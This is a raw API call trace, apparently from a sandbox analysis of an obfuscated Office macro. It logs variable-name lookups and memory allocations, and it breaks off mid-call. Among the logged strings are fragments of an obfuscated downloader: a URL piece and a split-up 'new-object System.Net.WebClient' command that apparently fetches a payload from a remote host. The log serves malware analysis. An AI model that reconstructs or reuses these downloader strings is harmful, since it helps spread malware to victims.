MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d8e, cbMultiByte=10, lpWideCharStr=0xcdc1192, cchWideChar=22 | out: lpWideCharStr="pijddBAapB") returned 10 [0018.684] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abc840 [0018.685] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JGKFM") returned 0x100f78 [0018.685] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="JGKFM" | out: _Dst="JGKFM") returned 0x0 [0018.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="JGKFM") returned 6 [0018.685] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.685] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JGKFM", lHashVal=0x100f78, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.685] IUnknown:Release (This=0x7919520) returned 0xd [0018.685] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.685] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JGKFM", lHashVal=0x100f78, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.685] IUnknown:Release (This=0x7346470) returned 0xb [0018.685] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.685] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JGKFM", lHashVal=0x100f78, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.685] IUnknown:Release (This=0x7345930) returned 0x7 [0018.685] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.685] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JGKFM", lHashVal=0x100f78, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.685] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.685] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.685] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_JGKFM") returned 0x10d3a4 [0018.685] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_JGKFM" | out: _Dst="_B_var_JGKFM") returned 0x0 [0018.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_JGKFM") returned 13 [0018.685] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.685] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JGKFM", lHashVal=0x10d3a4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.685] IUnknown:Release (This=0x7919520) returned 0xd [0018.685] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.685] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JGKFM", lHashVal=0x10d3a4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.685] IUnknown:Release (This=0x7346470) returned 0xb [0018.685] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.685] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JGKFM", lHashVal=0x10d3a4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.685] IUnknown:Release (This=0x7345930) returned 0x7 [0018.685] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.685] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JGKFM", lHashVal=0x10d3a4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.685] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.685] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.685] IUnknown:Release (This=0x7919520) returned 0xd [0018.685] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62dac, cbMultiByte=79, lpWideCharStr=0xcdc3604, cchWideChar=160 | out: lpWideCharStr="cRJ49hSd9SwhhN6QCnpZZZdr.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp:/PsdJnFuwGdZXjD") returned 79 [0018.685] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.685] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.685] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.685] IUnknown:Release (This=0x7919520) returned 0xd [0018.685] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.686] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rQOLrrmlzo") returned 0x10fc8e [0018.686] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="rQOLrrmlzo" | out: _Dst="rQOLrrmlzo") returned 0x0 [0018.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="rQOLrrmlzo") returned 11 [0018.686] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.686] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="rQOLrrmlzo", lHashVal=0x10fc8e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.686] IUnknown:Release (This=0x7919520) returned 0xd [0018.686] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.686] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="rQOLrrmlzo", lHashVal=0x10fc8e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.686] IUnknown:Release (This=0x7346470) returned 0xb [0018.686] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.686] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="rQOLrrmlzo", lHashVal=0x10fc8e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.686] IUnknown:Release (This=0x7345930) returned 0x7 [0018.686] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.686] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="rQOLrrmlzo", lHashVal=0x10fc8e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.686] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.686] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.686] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_rQOLrrmlzo") returned 0x106ab9 [0018.686] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_rQOLrrmlzo" | out: _Dst="_B_var_rQOLrrmlzo") returned 0x0 [0018.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_rQOLrrmlzo") returned 18 [0018.686] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.686] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_rQOLrrmlzo", lHashVal=0x106ab9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.686] IUnknown:Release (This=0x7919520) returned 0xd [0018.686] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.686] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_rQOLrrmlzo", lHashVal=0x106ab9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.686] IUnknown:Release (This=0x7346470) returned 0xb [0018.686] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.686] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_rQOLrrmlzo", lHashVal=0x106ab9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.686] IUnknown:Release (This=0x7345930) returned 0x7 [0018.686] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.686] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_rQOLrrmlzo", lHashVal=0x106ab9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.686] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.686] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.686] IUnknown:Release (This=0x7919520) returned 0xd [0018.686] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.686] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcdd0000 [0018.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e14, cbMultiByte=10, lpWideCharStr=0xcdd03c4, cchWideChar=22 | out: lpWideCharStr="NLlVTEaEnn") returned 10 [0018.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e2e, cbMultiByte=10, lpWideCharStr=0xcdd080e, cchWideChar=22 | out: lpWideCharStr="YIGjdzrlLd") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e42, cbMultiByte=10, lpWideCharStr=0xcdd09b8, cchWideChar=22 | out: lpWideCharStr="tYDvBJuqRf") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e56, cbMultiByte=10, lpWideCharStr=0xcdd0b62, cchWideChar=22 | out: lpWideCharStr="ZNYttwfzwu") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e6a, cbMultiByte=10, lpWideCharStr=0xcdd0d0c, cchWideChar=22 | out: lpWideCharStr="drdjumLzJz") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e7e, cbMultiByte=10, lpWideCharStr=0xcdd0eb6, cchWideChar=22 | out: lpWideCharStr="ODIofoIqTK") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62e92, cbMultiByte=10, lpWideCharStr=0xcdd1060, cchWideChar=22 | out: lpWideCharStr="KknHNLkMnf") returned 10 [0018.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ea6, cbMultiByte=10, lpWideCharStr=0xcdd120a, cchWideChar=22 | out: lpWideCharStr="TroRzBvTAP") returned 10 [0018.688] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abca90 [0018.689] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jZKas") returned 0x10baba [0018.689] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="jZKas" | out: _Dst="jZKas") returned 0x0 [0018.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="jZKas") returned 6 [0018.689] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.689] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jZKas", lHashVal=0x10baba, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.689] IUnknown:Release (This=0x7919520) returned 0xd [0018.689] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.689] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jZKas", lHashVal=0x10baba, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.689] IUnknown:Release (This=0x7346470) returned 0xb [0018.689] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.689] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jZKas", lHashVal=0x10baba, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.689] IUnknown:Release (This=0x7345930) returned 0x7 [0018.689] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.689] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jZKas", lHashVal=0x10baba, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.689] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.689] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.689] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_jZKas") returned 0x107ea7 [0018.689] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_jZKas" | out: _Dst="_B_var_jZKas") returned 0x0 [0018.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_jZKas") returned 13 [0018.689] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.689] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jZKas", lHashVal=0x107ea7, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.689] IUnknown:Release (This=0x7919520) returned 0xd [0018.689] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.689] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jZKas", lHashVal=0x107ea7, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.689] IUnknown:Release (This=0x7346470) returned 0xb [0018.689] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.689] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jZKas", lHashVal=0x107ea7, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.689] IUnknown:Release (This=0x7345930) returned 0x7 [0018.689] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.689] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jZKas", lHashVal=0x107ea7, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.689] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.690] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.690] IUnknown:Release (This=0x7919520) returned 0xd [0018.690] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ec4, cbMultiByte=10, lpWideCharStr=0xcdd367c, cchWideChar=22 | out: lpWideCharStr="LNJhfTqXqN") returned 10 [0018.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ede, cbMultiByte=10, lpWideCharStr=0xcdd3ac6, cchWideChar=22 | out: lpWideCharStr="ZAkulrFMYn") returned 10 [0018.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ef2, cbMultiByte=10, lpWideCharStr=0xcdd3c70, cchWideChar=22 | out: lpWideCharStr="iibKRPsUoL") returned 10 [0018.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f06, cbMultiByte=10, lpWideCharStr=0xcdd3e1a, cchWideChar=22 | out: lpWideCharStr="wNNkjtFNFs") returned 10 [0018.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f1a, cbMultiByte=10, lpWideCharStr=0xcdd3fc4, cchWideChar=22 | out: lpWideCharStr="KclNzpzmsl") returned 10 [0018.690] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcde0000 [0018.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f2e, cbMultiByte=10, lpWideCharStr=0xcde0194, cchWideChar=22 | out: lpWideCharStr="wnCBWdlwQP") returned 10 [0018.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f42, cbMultiByte=10, lpWideCharStr=0xcde033e, cchWideChar=22 | out: lpWideCharStr="aWifOMmALr") returned 10 [0018.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f56, cbMultiByte=10, lpWideCharStr=0xcde04e8, cchWideChar=22 | out: lpWideCharStr="mrGjdCwONb") returned 10 [0018.692] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wjLAX") returned 0x103c1f [0018.692] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="wjLAX" | out: _Dst="wjLAX") returned 0x0 [0018.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="wjLAX") returned 6 [0018.692] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.692] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wjLAX", lHashVal=0x103c1f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.692] IUnknown:Release (This=0x7919520) returned 0xd [0018.692] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.692] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wjLAX", lHashVal=0x103c1f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.692] IUnknown:Release (This=0x7346470) returned 0xb [0018.692] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.692] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wjLAX", lHashVal=0x103c1f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.692] IUnknown:Release (This=0x7345930) returned 0x7 [0018.692] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.692] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wjLAX", lHashVal=0x103c1f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.693] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.693] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wjLAX") returned 0x10000c [0018.693] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_wjLAX" | out: _Dst="_B_var_wjLAX") returned 0x0 [0018.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_wjLAX") returned 13 [0018.693] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.693] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wjLAX", lHashVal=0x10000c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.693] IUnknown:Release (This=0x7919520) returned 0xd [0018.693] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.693] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wjLAX", lHashVal=0x10000c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.693] IUnknown:Release (This=0x7346470) returned 0xb [0018.693] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.693] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wjLAX", lHashVal=0x10000c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.693] IUnknown:Release (This=0x7345930) returned 0x7 [0018.693] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.693] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wjLAX", lHashVal=0x10000c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.693] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.693] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.693] IUnknown:Release (This=0x7919520) returned 0xd [0018.693] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f74, cbMultiByte=10, lpWideCharStr=0xcde295a, cchWideChar=22 | out: lpWideCharStr="KQHjLqHIQd") returned 10 [0018.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62f8e, cbMultiByte=10, lpWideCharStr=0xcde2da4, cchWideChar=22 | out: lpWideCharStr="oTbHbMktfz") returned 10 [0018.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62fa2, cbMultiByte=10, lpWideCharStr=0xcde2f4e, cchWideChar=22 | out: lpWideCharStr="KnYQzuAWtu") returned 10 [0018.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62fb6, cbMultiByte=10, lpWideCharStr=0xcde30f8, cchWideChar=22 | out: lpWideCharStr="JJJkzMhIhj") returned 10 [0018.694] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abcce0 [0018.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62fca, cbMultiByte=10, lpWideCharStr=0xcde32a2, cchWideChar=22 | out: lpWideCharStr="iNrOJaniSX") returned 10 [0018.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62fde, cbMultiByte=10, lpWideCharStr=0xcde344c, cchWideChar=22 | out: lpWideCharStr="tQqUJXsrjR") returned 10 [0018.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ff2, cbMultiByte=10, lpWideCharStr=0xcde35f6, cchWideChar=22 | out: lpWideCharStr="pkPVUfKqHO") returned 10 [0018.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63006, cbMultiByte=10, lpWideCharStr=0xcde37a0, cchWideChar=22 | out: lpWideCharStr="ibMwTzvKGX") returned 10 [0018.694] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcdf0000 [0018.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QRuzEUNw") returned 0x101dd9 [0018.696] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="QRuzEUNw" | out: _Dst="QRuzEUNw") returned 0x0 [0018.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="QRuzEUNw") returned 9 [0018.696] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.696] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QRuzEUNw", lHashVal=0x101dd9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.696] IUnknown:Release (This=0x7919520) returned 0xd [0018.696] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.696] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QRuzEUNw", lHashVal=0x101dd9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.696] IUnknown:Release (This=0x7346470) returned 0xb [0018.696] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.696] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QRuzEUNw", lHashVal=0x101dd9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.696] IUnknown:Release (This=0x7345930) returned 0x7 [0018.696] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.696] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QRuzEUNw", lHashVal=0x101dd9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.696] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.696] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_QRuzEUNw") returned 0x10f5a1 [0018.696] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_QRuzEUNw" | out: _Dst="_B_var_QRuzEUNw") returned 0x0 [0018.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_QRuzEUNw") returned 16 [0018.696] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.696] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QRuzEUNw", lHashVal=0x10f5a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.696] IUnknown:Release (This=0x7919520) returned 0xd [0018.696] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.696] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QRuzEUNw", lHashVal=0x10f5a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.696] IUnknown:Release (This=0x7346470) returned 0xb [0018.696] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.696] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QRuzEUNw", lHashVal=0x10f5a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.696] IUnknown:Release (This=0x7345930) returned 0x7 [0018.696] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.696] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QRuzEUNw", lHashVal=0x10f5a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.696] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.696] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.696] IUnknown:Release (This=0x7919520) returned 0xd [0018.696] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63024, cbMultiByte=173, lpWideCharStr=0xcdf1c2c, cchWideChar=348 | out: lpWideCharStr="8zAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxNP0wIGCBoWdXHXtlz65YjAhuQ") returned 173 [0018.696] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abcf30 [0018.696] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.696] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.696] IUnknown:Release (This=0x7919520) returned 0xd [0018.696] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LZVzFpXjGFG") returned 0x10b8ab [0018.697] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="LZVzFpXjGFG" | out: _Dst="LZVzFpXjGFG") returned 0x0 [0018.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 